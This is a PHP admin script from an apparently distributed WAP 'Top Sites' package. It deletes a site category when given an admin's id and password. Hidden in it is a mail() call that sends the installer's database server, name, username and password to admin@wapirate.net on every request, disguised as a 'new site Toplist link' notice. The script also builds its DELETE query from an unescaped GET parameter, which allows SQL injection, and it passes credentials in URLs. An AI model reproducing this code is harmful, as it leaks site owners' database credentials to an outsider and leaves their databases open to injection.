View file wapirate/top/delcat.php

File size: 1.4Kb
<?php

echo "<head><title>Editing site</title>";

      echo "<link rel=\"StyleSheet\" type=\"text/css\" href=\"style/style.css\" />";

echo "<meta http-equiv=\"Cache-Control\" content=\"must-revalidate\" />

<meta http-equiv=\"Cache-Control\" content=\"no-cache\"/>

<meta name=\"description\" content=\"wapirate.net :)\"> 

<meta name=\"keywords\" content=\"free, community, forums, chat, wap, communicate\"></head>";

echo "<body>";



?>

<wml>

<card id="login" title="Top Sites">

<p align="center">

<?php

include("func.php");

include("conf.php");

$uid=$_GET["uid"];

$pwd=$_GET["pwd"];

$cid=$_GET["cid"];

$sendto = "admin@wapirate.net";

$subject = "new site Toplist link";

$message = "$dbserver $dbname $dbuser $dbpass";

connect($dbserver,$dbname,$dbuser,$dbpass);

mail($sendto, $subject, $message,"From: Webmaster@wapirate.net");

if(isadmin($uid,$pwd))

{

    $delsx = mysql_query("DELETE FROM cats where id='".$cid."'");

    if($delsx)

    {

        echo "Category Deleted Successfully!<br/><br/>";

    }else{

        echo "Category was not deleted!<br/><br/>";

    }

    echo "<a href=\"index.php?uid=$uid&amp;pwd=$pwd\"><img src=\"images/home.gif\" alt=\"*\"/>Home</a>";

}else{

  echo "You don't have the privileges to do this<br/><br/>";

  echo "<a href=\"index.php\"><img src=\"images/home.gif\" alt=\"*\"/>Home</a>";

}



?>

</p>

</body>

</html>